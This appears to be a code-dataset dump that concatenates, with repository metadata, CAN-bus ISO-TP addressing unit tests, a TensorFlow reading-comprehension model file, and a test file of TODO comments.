bytearray([sa]), extended_id=False))) self.assertFalse(address.is_for_me(Message(rxid+1, data = bytearray([sa]), extended_id=True))) self.assertFalse(address.is_for_me(Message(rxid, data = bytearray([sa+1]), extended_id=True))) self.assertEqual(address.get_tx_arbitraton_id(isotp.TargetAddressType.Physical ), txid) self.assertEqual(address.get_tx_arbitraton_id(isotp.TargetAddressType.Functional), txid) self.assertEqual(address.get_rx_arbitraton_id(isotp.TargetAddressType.Physical), rxid) self.assertEqual(address.get_rx_arbitraton_id(isotp.TargetAddressType.Functional), rxid) def test_29bits_extended_through_layer(self): functional = isotp.TargetAddressType.Functional physical = isotp.TargetAddressType.Physical txid = 0x123 rxid = 0x456 sa = 0x55 ta = 0xAA address = isotp.Address(isotp.AddressingMode.Extended_29bits, txid=txid, rxid=rxid, source_address=sa, target_address=ta) layer = isotp.TransportLayer(txfn=self.stack_txfn, rxfn=self.stack_rxfn, address=address, params={'stmin':0, 'blocksize':0}) # Receive Single frame - Physical / Functional self.simulate_rx_msg(Message(arbitration_id = rxid, data=bytearray([sa, 0x03, 0x01, 0x02, 0x03]), extended_id=True)) layer.process() frame = layer.recv() self.assertIsNotNone(frame) self.assertEqual(frame, b'\x01\x02\x03') # Receive multiframe - Physical layer.reset() self.simulate_rx_msg(Message(arbitration_id = rxid, data=bytearray([sa, 0x10, 0x08, 0x01, 0x02, 0x03, 0x04, 0x05]), extended_id=True)) layer.process() self.assert_sent_flow_control(prefix=[ta], stmin=0, blocksize=0) self.simulate_rx_msg(Message(arbitration_id = rxid, data=bytearray([sa, 0x21, 0x06, 0x07, 0x08]), extended_id=True)) layer.process() frame = layer.recv() self.assertIsNotNone(frame) self.assertEqual(frame, b'\x01\x02\x03\x04\x05\x06\x07\x08') #Transmit single frame - Physical layer.reset() layer.send(b'\x04\x05\x06', physical) layer.process() msg = self.get_tx_can_msg() self.assertIsNotNone(msg) self.assertEqual(msg.arbitration_id, txid) self.assertEqual(msg.data, bytearray([ta, 0x03, 0x04, 0x05, 0x06])) self.assertTrue(msg.is_extended_id) #Transmit single frame - Functional layer.reset() layer.send(b'\x04\x05\x06', functional) layer.process() msg = self.get_tx_can_msg() self.assertIsNotNone(msg) self.assertEqual(msg.arbitration_id, txid) self.assertEqual(msg.data, bytearray([ta, 0x03, 0x04, 0x05, 0x06])) self.assertTrue(msg.is_extended_id) # Transmit multiframe - Physical layer.reset() layer.send(b'\x04\x05\x06\x07\x08\x09\x0A\x0B', physical) layer.process() msg = self.get_tx_can_msg() self.assertIsNotNone(msg) self.assertEqual(msg.arbitration_id, txid) self.assertEqual(msg.data, bytearray([ta, 0x10, 0x08, 0x04, 0x05, 0x06, 0x07, 0x08])) self.assertTrue(msg.is_extended_id) self.simulate_rx_msg(Message(arbitration_id=rxid, data=self.make_flow_control_data(flow_status=0, stmin=0, blocksize=0, prefix=[sa]), extended_id=True)) layer.process() msg = self.get_tx_can_msg() self.assertIsNotNone(msg) self.assertEqual(msg.arbitration_id, txid) self.assertEqual(msg.data, bytearray([ta, 0x21, 0x09, 0x0A, 0x0B])) self.assertTrue(msg.is_extended_id) def test_11bits_mixed(self): txid = 0x123 rxid = 0x456 ae = 0x99 address = isotp.Address(isotp.AddressingMode.Mixed_11bits, txid=txid, rxid=rxid, address_extension = ae) self.assertFalse(address.is_for_me(Message(rxid, extended_id=False))) # No data self.assertFalse(address.is_for_me(Message(txid, extended_id=False))) # No data, wrong id self.assertTrue(address.is_for_me(Message(rxid, data = bytearray([ae]), extended_id=False))) self.assertFalse(address.is_for_me(Message(rxid, data = bytearray([ae]), extended_id=True))) self.assertFalse(address.is_for_me(Message(rxid+1, data = bytearray([ae]), extended_id=False))) self.assertFalse(address.is_for_me(Message(rxid, data = bytearray([ae+1]), extended_id=False))) self.assertEqual(address.get_tx_arbitraton_id(isotp.TargetAddressType.Physical), txid) self.assertEqual(address.get_tx_arbitraton_id(isotp.TargetAddressType.Functional), txid) self.assertEqual(address.get_rx_arbitraton_id(isotp.TargetAddressType.Physical), rxid) self.assertEqual(address.get_rx_arbitraton_id(isotp.TargetAddressType.Functional), rxid) def test_11bits_mixed_through_layer(self): functional = isotp.TargetAddressType.Functional physical = isotp.TargetAddressType.Physical txid = 0x123 rxid = 0x456 ae = 0x99 address = isotp.Address(isotp.AddressingMode.Mixed_11bits, txid=txid, rxid=rxid, address_extension = ae) layer = isotp.TransportLayer(txfn=self.stack_txfn, rxfn=self.stack_rxfn, address=address, params={'stmin':0, 'blocksize':0}) # Receive Single frame - Physical / Functional self.simulate_rx_msg(Message(arbitration_id = rxid, data=bytearray([ae, 0x03, 0x01, 0x02, 0x03]), extended_id=False)) layer.process() frame = layer.recv() self.assertIsNotNone(frame) self.assertEqual(frame, b'\x01\x02\x03') # Receive multiframe - Physical layer.reset() self.simulate_rx_msg(Message(arbitration_id = rxid, data=bytearray([ae, 0x10, 0x08, 0x01, 0x02, 0x03, 0x04, 0x05]), extended_id=False)) layer.process() self.assert_sent_flow_control(prefix=[ae], stmin=0, blocksize=0) self.simulate_rx_msg(Message(arbitration_id = rxid, data=bytearray([ae, 0x21, 0x06, 0x07, 0x08]), extended_id=False)) layer.process() frame = layer.recv() self.assertIsNotNone(frame) self.assertEqual(frame, b'\x01\x02\x03\x04\x05\x06\x07\x08') #Transmit single frame - Physical layer.reset() layer.send(b'\x04\x05\x06', physical) layer.process() msg = self.get_tx_can_msg() self.assertIsNotNone(msg) self.assertEqual(msg.arbitration_id, txid) self.assertEqual(msg.data, bytearray([ae, 0x03, 0x04, 0x05, 0x06])) self.assertFalse(msg.is_extended_id) #Transmit single frame - Functional layer.reset() layer.send(b'\x04\x05\x06', functional) layer.process() msg = self.get_tx_can_msg() self.assertIsNotNone(msg) self.assertEqual(msg.arbitration_id, txid) self.assertEqual(msg.data, bytearray([ae, 0x03, 0x04, 0x05, 0x06])) self.assertFalse(msg.is_extended_id) # Transmit multiframe - Physical layer.reset() layer.send(b'\x04\x05\x06\x07\x08\x09\x0A\x0B', physical) layer.process() msg = self.get_tx_can_msg() self.assertIsNotNone(msg) self.assertEqual(msg.arbitration_id, txid) self.assertEqual(msg.data, bytearray([ae, 0x10, 0x08, 0x04, 0x05, 0x06, 0x07, 0x08])) self.assertFalse(msg.is_extended_id) self.simulate_rx_msg(Message(arbitration_id=rxid, data=self.make_flow_control_data(flow_status=0, stmin=0, blocksize=0, prefix=[ae]), extended_id=False)) layer.process() msg = self.get_tx_can_msg() self.assertIsNotNone(msg) self.assertEqual(msg.arbitration_id, txid) self.assertEqual(msg.data, bytearray([ae, 0x21, 0x09, 0x0A, 0x0B])) self.assertFalse(msg.is_extended_id) def test_29bits_mixed(self): ta = 0x55 sa = 0xAA ae = 0x99 rxid_physical = 0x18CEAA55 rxid_functional = 0x18CDAA55 txid_physical = 0x18CE55AA txid_functional = 0x18CD55AA address = isotp.Address(isotp.AddressingMode.Mixed_29bits, source_address=sa, target_address=ta, address_extension = ae) self.assertFalse(address.is_for_me(Message(rxid_physical, extended_id=True))) # No data self.assertFalse(address.is_for_me(Message(rxid_functional, extended_id=True))) # No data self.assertFalse(address.is_for_me(Message(txid_physical, extended_id=True))) # No data self.assertFalse(address.is_for_me(Message(txid_functional, extended_id=True))) # No data self.assertTrue(address.is_for_me(Message(rxid_physical, data = bytearray([ae]), extended_id=True))) self.assertFalse(address.is_for_me(Message(rxid_physical, data = bytearray([ae]), extended_id=False))) self.assertTrue(address.is_for_me(Message(rxid_functional, data = bytearray([ae]), extended_id=True))) self.assertFalse(address.is_for_me(Message(rxid_functional, data = bytearray([ae]), extended_id=False))) self.assertFalse(address.is_for_me(Message(txid_physical, data = bytearray([ae]), extended_id=True))) self.assertFalse(address.is_for_me(Message(txid_functional, data = bytearray([ae]), extended_id=True))) self.assertEqual(address.get_tx_arbitraton_id(isotp.TargetAddressType.Physical), txid_physical) self.assertEqual(address.get_tx_arbitraton_id(isotp.TargetAddressType.Functional), txid_functional) self.assertEqual(address.get_rx_arbitraton_id(isotp.TargetAddressType.Physical), rxid_physical) self.assertEqual(address.get_rx_arbitraton_id(isotp.TargetAddressType.Functional), rxid_functional) def test_29bits_mixed_through_layer(self): functional = isotp.TargetAddressType.Functional physical = isotp.TargetAddressType.Physical ta = 0x55 sa = 0xAA ae = 0x99 rxid_physical = 0x18CEAA55 rxid_functional = 0x18CDAA55 txid_physical = 0x18CE55AA txid_functional = 0x18CD55AA address = isotp.Address(isotp.AddressingMode.Mixed_29bits, source_address=sa, target_address=ta, address_extension = ae) layer = isotp.TransportLayer(txfn=self.stack_txfn, rxfn=self.stack_rxfn, address=address, params={'stmin':0, 'blocksize':0}) # Receive Single frame - Physical self.simulate_rx_msg(Message(arbitration_id = rxid_physical, data=bytearray([ae, 0x03, 0x01, 0x02, 0x03]), extended_id=True)) layer.process() frame = layer.recv() self.assertIsNotNone(frame) self.assertEqual(frame, b'\x01\x02\x03') # Receive Single frame - Functional layer.reset() self.simulate_rx_msg(Message(arbitration_id = rxid_functional, data=bytearray([ae, 0x03, 0x01, 0x02, 0x03]), extended_id=True)) layer.process() frame = layer.recv() self.assertIsNotNone(frame) self.assertEqual(frame, b'\x01\x02\x03') # Receive multiframe - Physical layer.reset() self.simulate_rx_msg(Message(arbitration_id = rxid_physical, data=bytearray([ae, 0x10, 0x08, 0x01, 0x02, 0x03, 0x04, 0x05]), extended_id=True)) layer.process() self.assert_sent_flow_control(prefix=[ae], stmin=0, blocksize=0) self.simulate_rx_msg(Message(arbitration_id = rxid_physical, data=bytearray([ae, 0x21, 0x06, 0x07, 0x08]), extended_id=True)) layer.process() frame = layer.recv() self.assertIsNotNone(frame) self.assertEqual(frame, b'\x01\x02\x03\x04\x05\x06\x07\x08') #Transmit single frame - Physical layer.reset() layer.send(b'\x04\x05\x06', physical) layer.process() msg = self.get_tx_can_msg() self.assertIsNotNone(msg) self.assertEqual(msg.arbitration_id, txid_physical) self.assertEqual(msg.data, bytearray([ae, 0x03, 0x04, 0x05, 0x06])) self.assertTrue(msg.is_extended_id) #Transmit single frame - Functional layer.reset() layer.send(b'\x04\x05\x06', functional) layer.process() msg = self.get_tx_can_msg() self.assertIsNotNone(msg) self.assertEqual(msg.arbitration_id, txid_functional) self.assertEqual(msg.data, bytearray([ae, 0x03, 0x04, 0x05, 0x06])) self.assertTrue(msg.is_extended_id) # Transmit multiframe - Physical layer.reset() layer.send(b'\x04\x05\x06\x07\x08\x09\x0A\x0B', physical) layer.process() msg = self.get_tx_can_msg() self.assertIsNotNone(msg) self.assertEqual(msg.arbitration_id, txid_physical) self.assertEqual(msg.data, bytearray([ae, 0x10, 0x08, 0x04, 0x05, 0x06, 0x07, 0x08])) self.assertTrue(msg.is_extended_id) self.simulate_rx_msg(Message(arbitration_id=rxid_physical, data=self.make_flow_control_data(flow_status=0, stmin=0, blocksize=0, prefix=[ae]), extended_id=True)) layer.process() msg = self.get_tx_can_msg() self.assertIsNotNone(msg) self.assertEqual(msg.arbitration_id, txid_physical) self.assertEqual(msg.data, bytearray([ae, 0x21, 0x09, 0x0A, 0x0B])) self.assertTrue(msg.is_extended_id)

50.597968

170

0.672337

4,258

34,862

5.321982

0.035463

0.044129

0.041304

0.027183

0.981863

0.98001

0.979524

0.977759

0.975111

0

0.054019

0.214101

34,862

688

171

50.671512

0.773086

0.041277

0

0.813743

0

0.02515

0.013707

0

0.041182

0

0.40868

1

0.030741

false

0

0.007233

0

0.039783

0

null

0

1

0

1

0

null

0

1

0

8

e87766e9accd6ebf69be47bfac4011d9a348733c

53

py

Python

cloud_discovery/applications/__init__.py

pyToshka/cloud-discovery

c66eb8b5c5c9a0566994fe9436abea64d57dcf99

[ "BSD-3-Clause" ]

5

2021-01-14T14:02:05.000Z

2022-01-18T10:29:00.000Z

cloud_discovery/applications/__init__.py

pyToshka/cloud-discovery

c66eb8b5c5c9a0566994fe9436abea64d57dcf99

[ "BSD-3-Clause" ]

null

cloud_discovery/applications/__init__.py

pyToshka/cloud-discovery

c66eb8b5c5c9a0566994fe9436abea64d57dcf99

[ "BSD-3-Clause" ]

1

2021-01-26T19:37:50.000Z

from .cloud_discovery_app import CLOUD_DISCOVERY_APP

26.5

52

0.90566

8

53

5.5

0.625

0.636364

0.772727

0

0.075472

53

1

53

0.897959

0

1

0

true

0

1

0

1

0

1

0

null

1

0

1

0

null

0

1

0

1

0

1

0

7

e8a685da4fb6e04d141ecf3a0cb6be72ef93411c

20,142

py

Python

sogou_mrc/model/IARNN.py

ishine/SMRCToolkit

8a81410225b85a126f1535f5b1aa1137d6948e98

[ "Apache-2.0" ]

1,238

2019-03-31T11:10:31.000Z

2020-03-11T09:22:24.000Z

sogou_mrc/model/IARNN.py

ishine/SMRCToolkit

8a81410225b85a126f1535f5b1aa1137d6948e98

[ "Apache-2.0" ]

36

2019-04-07T05:38:04.000Z

2020-03-12T15:38:26.000Z

sogou_mrc/model/IARNN.py

ishine/SMRCToolkit

8a81410225b85a126f1535f5b1aa1137d6948e98

[ "Apache-2.0" ]

162

2019-03-31T11:07:13.000Z

2020-03-11T09:23:16.000Z

# coding:utf-8 import os import tensorflow as tf import numpy as np import logging from collections import OrderedDict, defaultdict from sogou_mrc.model.base_model import BaseModel from sogou_mrc.nn.layers import Conv1DAndMaxPooling, Dropout, Highway, Embedding from sogou_mrc.nn.recurrent import CudnnBiLSTM from sogou_mrc.nn.attention import BiAttention from sogou_mrc.nn.similarity_function import TriLinear, BiLinear, ProjectedDotProduct from sogou_mrc.nn.ops import masked_softmax, weighted_sum, mask_logits class IARNN_word(BaseModel): def __init__(self, vocab, pretrained_word_embedding=None, word_embedding_size=100, char_embedding_size=8, char_conv_filters=100, char_conv_kernel_size=5, rnn_hidden_size=100, dropout_keep_prob=0.8, max_answer_len=17, word_embedding_trainable=False): super(IARNN_word, self).__init__(vocab) self.rnn_hidden_size = rnn_hidden_size self.keep_prob = dropout_keep_prob self.word_embedding_size = word_embedding_size self.pretrained_word_embedding = pretrained_word_embedding self.char_embedding_size = char_embedding_size self.char_conv_filters = char_conv_filters self.char_conv_kernel_size = char_conv_kernel_size self.max_answer_len = max_answer_len self.word_embedding_trainable = word_embedding_trainable self._build_graph() def _build_graph(self): self.context_word = tf.placeholder(tf.int32, [None, None]) self.context_char = tf.placeholder(tf.int32, [None, None, None]) self.context_len = tf.placeholder(tf.int32, [None]) self.question_word = tf.placeholder(tf.int32, [None, None]) self.question_char = tf.placeholder(tf.int32, [None, None, None]) self.question_len = tf.placeholder(tf.int32, [None]) self.answer_start = tf.placeholder(tf.int32, [None]) self.answer_end = tf.placeholder(tf.int32, [None]) self.training = tf.placeholder(tf.bool, []) # 1. Word encoding word_embedding = Embedding(pretrained_embedding=self.pretrained_word_embedding, embedding_shape=(len(self.vocab.get_word_vocab()) + 1, self.word_embedding_size), trainable=self.word_embedding_trainable) context_word_repr = word_embedding(self.context_word) question_word_repr = word_embedding(self.question_word) dropout = Dropout(self.keep_prob) # 2 inner attention between question word and context word inner_att = ProjectedDotProduct(self.rnn_hidden_size, activation=tf.nn.leaky_relu, reuse_weight=True) inner_score = inner_att(question_word_repr, context_word_repr) context_word_softmax = tf.nn.softmax(inner_score, axis=2) question_inner_representation = tf.matmul(context_word_softmax, context_word_repr) question_word_softmax = tf.nn.softmax(inner_score, axis=1) context_inner_representation = tf.matmul(question_word_softmax, question_word_repr, transpose_a=True) highway1 = Highway() highway2 = Highway() context_repr = highway1(highway2(tf.concat([context_word_repr, context_inner_representation], axis=-1))) question_repr = highway1(highway2(tf.concat([question_word_repr, question_inner_representation], axis=-1))) # 2. Phrase encoding phrase_lstm = CudnnBiLSTM(self.rnn_hidden_size) context_repr, _ = phrase_lstm(dropout(context_repr, self.training), self.context_len) question_repr, _ = phrase_lstm(dropout(question_repr, self.training), self.question_len) # 3. Bi-Attention bi_attention = BiAttention(TriLinear()) c2q, q2c = bi_attention(context_repr, question_repr, self.context_len, self.question_len) # 4. Modeling layer final_merged_context = tf.concat([context_repr, c2q, context_repr * c2q, context_repr * q2c], axis=-1) modeling_lstm1 = CudnnBiLSTM(self.rnn_hidden_size) modeling_lstm2 = CudnnBiLSTM(self.rnn_hidden_size) modeled_context1, _ = modeling_lstm1(dropout(final_merged_context, self.training), self.context_len) modeled_context2, _ = modeling_lstm2(dropout(modeled_context1, self.training), self.context_len) modeled_context = modeled_context1 + modeled_context2 # 5. Start prediction start_pred_layer = tf.keras.layers.Dense(1, use_bias=False) start_logits = start_pred_layer( dropout(tf.concat([final_merged_context, modeled_context], axis=-1), self.training)) start_logits = tf.squeeze(start_logits, axis=-1) self.start_prob = masked_softmax(start_logits, self.context_len) # 6. End prediction start_repr = weighted_sum(modeled_context, self.start_prob) tiled_start_repr = tf.tile(tf.expand_dims(start_repr, axis=1), [1, tf.shape(modeled_context)[1], 1]) end_lstm = CudnnBiLSTM(self.rnn_hidden_size) encoded_end_repr, _ = end_lstm(dropout(tf.concat( [final_merged_context, modeled_context, tiled_start_repr, modeled_context * tiled_start_repr], axis=-1), self.training), self.context_len) end_pred_layer = tf.keras.layers.Dense(1, use_bias=False) end_logits = end_pred_layer(dropout(tf.concat( [final_merged_context, encoded_end_repr], axis=-1), self.training)) end_logits = tf.squeeze(end_logits, axis=-1) self.end_prob = masked_softmax(end_logits, self.context_len) # 7. Loss and input/output dict self.start_loss = tf.reduce_mean( tf.nn.sparse_softmax_cross_entropy_with_logits(logits=mask_logits(start_logits, self.context_len), labels=self.answer_start)) self.end_loss = tf.reduce_mean( tf.nn.sparse_softmax_cross_entropy_with_logits(logits=mask_logits(end_logits, self.context_len), labels=self.answer_end)) self.loss = (self.start_loss + self.end_loss) / 2 global_step = tf.train.get_or_create_global_step() self.input_placeholder_dict = OrderedDict({ "context_word": self.context_word, "context_char": self.context_char, "context_len": self.context_len, "question_word": self.question_word, "question_char": self.question_char, "question_len": self.question_len, "answer_start": self.answer_start, "answer_end": self.answer_end, "training": self.training }) self.output_variable_dict = OrderedDict({ "start_prob": self.start_prob, "end_prob": self.end_prob }) # 8. Metrics and summary with tf.variable_scope("train_metrics"): self.train_metrics = { 'loss': tf.metrics.mean(self.loss) } self.train_update_metrics = tf.group(*[op for _, op in self.train_metrics.values()]) metric_variables = tf.get_collection(tf.GraphKeys.LOCAL_VARIABLES, scope="train_metrics") self.train_metric_init_op = tf.variables_initializer(metric_variables) with tf.variable_scope("eval_metrics"): self.eval_metrics = { 'loss': tf.metrics.mean(self.loss) } self.eval_update_metrics = tf.group(*[op for _, op in self.eval_metrics.values()]) metric_variables = tf.get_collection(tf.GraphKeys.LOCAL_VARIABLES, scope="eval_metrics") self.eval_metric_init_op = tf.variables_initializer(metric_variables) tf.summary.scalar('loss', self.loss) self.summary_op = tf.summary.merge_all() def compile(self, optimizer, initial_lr): self.optimizer = optimizer(initial_lr) self.train_op = self.optimizer.minimize(self.loss) def train_and_evaluate(self, train_instances, eval_instances, batch_size, evaluator, epochs=1, eposides=1, save_dir=None, summary_dir=None, save_summary_steps=10): if not self.initialized: self.session.run(tf.global_variables_initializer()) train_input, train_iterator_init_op = BaseModel._make_input(self.vocab, train_instances, batch_size, training=True) eval_input, eval_iterator_init_op = BaseModel._make_input(self.vocab, eval_instances, batch_size, training=False) self.session.run(tf.tables_initializer()) IARNN_word._train_and_evaluate(self, train_instances, train_input, train_iterator_init_op, eval_instances, eval_input, eval_iterator_init_op, batch_size, evaluator, epochs=epochs, eposides=eposides, save_dir=save_dir, summary_dir=summary_dir, save_summary_steps=save_summary_steps) def evaluate(self, eval_instances, batch_size, evaluator): if not self.initialized: self.session.run(tf.global_variables_initializer()) eval_input, eval_iterator_init_op = BaseModel._make_input(self.vocab, eval_instances, batch_size, training=False) self.session.run(tf.tables_initializer()) IARNN_word._evaluate(self, eval_instances, eval_input, eval_iterator_init_op, batch_size, evaluator) def get_best_answer(self, output, instances): answer_list = [] for i in range(len(instances)): instance = instances[i] max_prob, max_start, max_end = 0, 0, 0 for end in range(output['end_prob'][i].shape[0]): for start in range(max(0, end - self.max_answer_len + 1), end + 1): prob = output["start_prob"][i][start] * output["end_prob"][i][end] if prob > max_prob: max_start, max_end = start, end max_prob = prob char_start_position = instance["context_token_spans"][max_start][0] char_end_position = instance["context_token_spans"][max_end][1] pred_answer = instance["context"][char_start_position:char_end_position] answer_list.append(pred_answer) return answer_list class IARNN_hidden(BaseModel): def __init__(self, vocab, pretrained_word_embedding=None, word_embedding_size=100, char_embedding_size=8, char_conv_filters=100, char_conv_kernel_size=5, rnn_hidden_size=100, dropout_keep_prob=0.8, max_answer_len=17, word_embedding_trainable=False): super(IARNN_hidden, self).__init__(vocab) self.rnn_hidden_size = rnn_hidden_size self.keep_prob = dropout_keep_prob self.word_embedding_size = word_embedding_size self.pretrained_word_embedding = pretrained_word_embedding self.char_embedding_size = char_embedding_size self.char_conv_filters = char_conv_filters self.char_conv_kernel_size = char_conv_kernel_size self.max_answer_len = max_answer_len self.word_embedding_trainable = word_embedding_trainable self._build_graph() def _build_graph(self): self.context_word = tf.placeholder(tf.int32, [None, None]) self.context_char = tf.placeholder(tf.int32, [None, None, None]) self.context_len = tf.placeholder(tf.int32, [None]) self.question_word = tf.placeholder(tf.int32, [None, None]) self.question_char = tf.placeholder(tf.int32, [None, None, None]) self.question_len = tf.placeholder(tf.int32, [None]) self.answer_start = tf.placeholder(tf.int32, [None]) self.answer_end = tf.placeholder(tf.int32, [None]) self.training = tf.placeholder(tf.bool, []) # 1. Word encoding word_embedding = Embedding(pretrained_embedding=self.pretrained_word_embedding, embedding_shape=(len(self.vocab.get_word_vocab()) + 1, self.word_embedding_size), trainable=self.word_embedding_trainable) context_word_repr = word_embedding(self.context_word) question_word_repr = word_embedding(self.question_word) dropout = Dropout(self.keep_prob) # 2. Phrase encoding question_lstm = CudnnBiLSTM(self.rnn_hidden_size) context_lstm = CudnnBiLSTM(self.rnn_hidden_size) question_repr, _ = question_lstm(dropout(question_word_repr, self.training), self.question_len) inner_att = ProjectedDotProduct(self.rnn_hidden_size, activation=tf.nn.leaky_relu, reuse_weight=False) inner_score = inner_att(context_word_repr, question_repr) question_word_softmax = tf.nn.softmax(inner_score, axis=2) context_inner_representation = tf.matmul(question_word_softmax, question_repr) highway1 = Highway() highway2 = Highway() context_repr = highway1(highway2(tf.concat([context_word_repr, context_inner_representation], axis=-1))) context_repr, _ = context_repr(dropout(context_repr, self.training), self.context_len) # 3. Bi-Attention bi_attention = BiAttention(TriLinear()) c2q, q2c = bi_attention(context_repr, question_repr, self.context_len, self.question_len) # 4. Modeling layer final_merged_context = tf.concat([context_repr, c2q, context_repr * c2q, context_repr * q2c], axis=-1) modeling_lstm1 = CudnnBiLSTM(self.rnn_hidden_size) modeling_lstm2 = CudnnBiLSTM(self.rnn_hidden_size) modeled_context1, _ = modeling_lstm1(dropout(final_merged_context, self.training), self.context_len) modeled_context2, _ = modeling_lstm2(dropout(modeled_context1, self.training), self.context_len) modeled_context = modeled_context1 + modeled_context2 # 5. Start prediction start_pred_layer = tf.keras.layers.Dense(1, use_bias=False) start_logits = start_pred_layer( dropout(tf.concat([final_merged_context, modeled_context], axis=-1), self.training)) start_logits = tf.squeeze(start_logits, axis=-1) self.start_prob = masked_softmax(start_logits, self.context_len) # 6. End prediction start_repr = weighted_sum(modeled_context, self.start_prob) tiled_start_repr = tf.tile(tf.expand_dims(start_repr, axis=1), [1, tf.shape(modeled_context)[1], 1]) end_lstm = CudnnBiLSTM(self.rnn_hidden_size) encoded_end_repr, _ = end_lstm(dropout(tf.concat( [final_merged_context, modeled_context, tiled_start_repr, modeled_context * tiled_start_repr], axis=-1), self.training), self.context_len) end_pred_layer = tf.keras.layers.Dense(1, use_bias=False) end_logits = end_pred_layer(dropout(tf.concat( [final_merged_context, encoded_end_repr], axis=-1), self.training)) end_logits = tf.squeeze(end_logits, axis=-1) self.end_prob = masked_softmax(end_logits, self.context_len) # 7. Loss and input/output dict self.start_loss = tf.reduce_mean( tf.nn.sparse_softmax_cross_entropy_with_logits(logits=mask_logits(start_logits, self.context_len), labels=self.answer_start)) self.end_loss = tf.reduce_mean( tf.nn.sparse_softmax_cross_entropy_with_logits(logits=mask_logits(end_logits, self.context_len), labels=self.answer_end)) self.loss = (self.start_loss + self.end_loss) / 2 global_step = tf.train.get_or_create_global_step() self.input_placeholder_dict = OrderedDict({ "context_word": self.context_word, "context_char": self.context_char, "context_len": self.context_len, "question_word": self.question_word, "question_char": self.question_char, "question_len": self.question_len, "answer_start": self.answer_start, "answer_end": self.answer_end, "training": self.training }) self.output_variable_dict = OrderedDict({ "start_prob": self.start_prob, "end_prob": self.end_prob }) # 8. Metrics and summary with tf.variable_scope("train_metrics"): self.train_metrics = { 'loss': tf.metrics.mean(self.loss) } self.train_update_metrics = tf.group(*[op for _, op in self.train_metrics.values()]) metric_variables = tf.get_collection(tf.GraphKeys.LOCAL_VARIABLES, scope="train_metrics") self.train_metric_init_op = tf.variables_initializer(metric_variables) with tf.variable_scope("eval_metrics"): self.eval_metrics = { 'loss': tf.metrics.mean(self.loss) } self.eval_update_metrics = tf.group(*[op for _, op in self.eval_metrics.values()]) metric_variables = tf.get_collection(tf.GraphKeys.LOCAL_VARIABLES, scope="eval_metrics") self.eval_metric_init_op = tf.variables_initializer(metric_variables) tf.summary.scalar('loss', self.loss) self.summary_op = tf.summary.merge_all() def compile(self, optimizer, initial_lr): self.optimizer = optimizer(initial_lr) self.train_op = self.optimizer.minimize(self.loss) def train_and_evaluate(self, train_instances, eval_instances, batch_size, evaluator, epochs=1, eposides=1, save_dir=None, summary_dir=None, save_summary_steps=10): if not self.initialized: self.session.run(tf.global_variables_initializer()) train_input, train_iterator_init_op = BaseModel._make_input(self.vocab, train_instances, batch_size, training=True) eval_input, eval_iterator_init_op = BaseModel._make_input(self.vocab, eval_instances, batch_size, training=False) self.session.run(tf.tables_initializer()) IARNN_hidden._train_and_evaluate(self, train_instances, train_input, train_iterator_init_op, eval_instances, eval_input, eval_iterator_init_op, batch_size, evaluator, epochs=epochs, eposides=eposides, save_dir=save_dir, summary_dir=summary_dir, save_summary_steps=save_summary_steps) def evaluate(self, eval_instances, batch_size, evaluator): if not self.initialized: self.session.run(tf.global_variables_initializer()) eval_input, eval_iterator_init_op = BaseModel._make_input(self.vocab, eval_instances, batch_size, training=False) self.session.run(tf.tables_initializer()) IARNN_hidden._evaluate(self, eval_instances, eval_input, eval_iterator_init_op, batch_size, evaluator) def get_best_answer(self, output, instances): answer_list = [] for i in range(len(instances)): instance = instances[i] max_prob, max_start, max_end = 0, 0, 0 for end in range(output['end_prob'][i].shape[0]): for start in range(max(0, end - self.max_answer_len + 1), end + 1): prob = output["start_prob"][i][start] * output["end_prob"][i][end] if prob > max_prob: max_start, max_end = start, end max_prob = prob char_start_position = instance["context_token_spans"][max_start][0] char_end_position = instance["context_token_spans"][max_end][1] pred_answer = instance["context"][char_start_position:char_end_position] answer_list.append(pred_answer) return answer_list

50.735516

116

0.656439

2,451

20,142

5.042024

0.083231

0.028484

0.024923

0.025894

0.924907

0.922641

0.915278

0.908966

0.902088

0.889141

0

0.011886

0.252309

20,142

396

117

50.863636

0.808699

0.019412

0

0.86645

0

0.025745

0

1

0.039088

false

0

0.035831

0

0.087948

0

null

0

1

0

1

0

null

0

7

3afd741b72848b6478ecbc0ac66430ab195e258f

1,064

py

Python

testing/scenarios/custom_todos/python/main.py

craigofnz/todocheck

3ddd847c37969617516145d909209eccf68c0ab9

[ "MIT" ]

394

2020-07-18T17:57:50.000Z

2022-03-31T03:50:28.000Z

testing/scenarios/custom_todos/python/main.py

craigofnz/todocheck

3ddd847c37969617516145d909209eccf68c0ab9

[ "MIT" ]

107

2020-07-18T19:33:52.000Z

2022-02-14T07:15:27.000Z

testing/scenarios/custom_todos/python/main.py

craigofnz/todocheck

3ddd847c37969617516145d909209eccf68c0ab9

[ "MIT" ]

39

2020-07-19T22:12:55.000Z

2021-11-01T00:30:46.000Z

# This is a single-line malformed TODO """ And this is a multiline malformed TODO It should be parsed properly """ ''' This is the same multiline malformed TODO but with single-quotes ''' myvar = 5 # This is a malformed TODO at the end of a line # TODO 1: This is a valid todo comment hello = "hello" # TODO 234: This is an invalid todo, with a closed issue """ TODO 234: This is an invalid todo, marked against a closed issue """ ''' TODO 234: This is an invalid todo, marked against a closed issue with single quotes ''' # This is a single-line malformed @fix """ And this is a multiline malformed @fix It should be parsed properly """ ''' This is the same multiline malformed @fix but with single-quotes ''' myvar = 5 # This is a malformed @fix at the end of a line # @fix 1: This is a valid todo comment hello = "hello" # @fix 234: This is an invalid todo, with a closed issue """ @fix 234: This is an invalid todo, marked against a closed issue """ ''' @fix 234: This is an invalid todo, marked against a closed issue with single quotes '''

18.666667

72

0.704887

182

1,064

4.120879

0.197802

0.128

0.074667

0.088

0.953333

0.769333

0.76

0.669333

0

0.02619

0.210526

1,064

56

73

19

0.866667

0.392857

0

1

0

0.119048

0

0.160714

0

1

0

false

0

null

0

1

0

1

0

null

0

1

0

8

d73a3a32c016ed9682d4f19cb9cd6aba86a845c3

17,299

py

Python

sdk/python/pulumi_cloudflare/worker_script.py

pulumi/pulumi-cloudflare

d444af2fab6101b388a15cf2e3933e45e9935cc6

[ "ECL-2.0", "Apache-2.0" ]

35

2019-03-14T21:29:29.000Z

2022-03-30T00:00:59.000Z

sdk/python/pulumi_cloudflare/worker_script.py

pulumi/pulumi-cloudflare

d444af2fab6101b388a15cf2e3933e45e9935cc6

[ "ECL-2.0", "Apache-2.0" ]

128

2019-03-08T23:45:58.000Z

2022-03-31T21:05:22.000Z

sdk/python/pulumi_cloudflare/worker_script.py

pulumi/pulumi-cloudflare

d444af2fab6101b388a15cf2e3933e45e9935cc6

[ "ECL-2.0", "Apache-2.0" ]

6

